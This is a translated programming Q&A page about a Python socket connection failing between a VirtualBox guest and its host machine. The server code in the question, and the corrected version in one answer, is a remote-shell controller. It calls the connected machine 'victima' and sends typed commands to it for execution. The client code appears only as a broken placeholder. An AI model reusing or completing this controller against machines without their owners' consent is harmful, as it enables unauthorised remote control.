Python套接字拒绝virtualbox和主机machin

2024-10-02 04:36:54 发布

您现在位置:Python中文网/ 问答频道 /正文

早上好,我在同一个网络中使用两台机器时插座有问题(在同一台机器上工作)

我已经在客户端脚本和服务器中分配了服务器的ip,我在两台计算机上都禁用了防火墙,当我执行客户端时,它接收到连接但关闭了它,这与web防火墙有关吗?我给你留张照片: enter image description here

服务器:

#!/usr/bin/env python
#_*_ coding: utf8 _*_

import socket

def main():
    server = socket.socket()
    server.bind(('192.168.1.33',7777))
    server.listen(1)

    while True:
        victima,direccion = server.accept()
        print("Conexion de: {}".format(direccion))

        ver = victima.recv(1024)

        if ver == "1":
            while True:
                opcion = raw_input("shell@shell: ")
                victima.send(opcion)
                resultado = victima.recv(2048)
                print(resultado)

if __name__ == '__main__':
    try:
        main()
    except keyboardInterrupt:
        exit()

客户:

^{pr2}$

Tags: 服务器机器true客户端ifservermainsocket
2条回答

为了解决这个问题,我必须对数据进行编码和解码,并将raw_input()更改为input(),如果您使用的是python3

服务器

#!/usr/bin/env python
#_*_ coding: utf8 _*_

import socket

def main():
    server = socket.socket()
    server.bind(('192.168.1.44',8000))
    server.listen(1)

    while True:
        victima,direccion = server.accept()
        print("Conexion de: {}".format(direccion))

        ver = victima.recv(1024).decode('utf-8')

        if ver == "1":
            while True:
                opcion = input("shell@shell: ")
                victima.send(opcion.encode('utf-8'))
                resultado = victima.recv(2048).decode('utf-8')
                print(resultado)

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        exit()

客户

^{pr2}$

我不知道你是否改变了你的虚拟机设置,但是虚拟机并不是你的机器;我的意思是你在模拟另一台“电脑”运行在你的物理机上,所以它们被视为两台不同的计算机,但是当你连接到一个网络时,通常(默认选项),虚拟机使用物理连接(你的电脑)在网络上工作。如果你使用服务器脚本和没有虚拟机的客户端脚本,你的网卡会发现它(相同的mac地址、相同的ip、相同的网络等)你应该检查你的模拟软件(虚拟盒)的设置,看看哪种行为被设为默认行为。在

我发现我自己对VMPlayer接口比虚拟机接口更舒服,但是在网络设置中,您可以选择是利用已经打开的物理连接(模拟以太网连接)还是“复制”连接(后者通常用于连接外部网卡)。在

不太确定你在问什么,如果技术上解释为什么它不起作用,或者一个变通办法使它工作起来。。。给你。顺便说一句,如果你想改变你的调制解调器设置的配置,看看这是否是问题所在,转到192.168.1.1,打开你为你选择的协议选择的端口(我看到7777和TCP端口)。在

干杯

相关问题 更多 >

    热门问题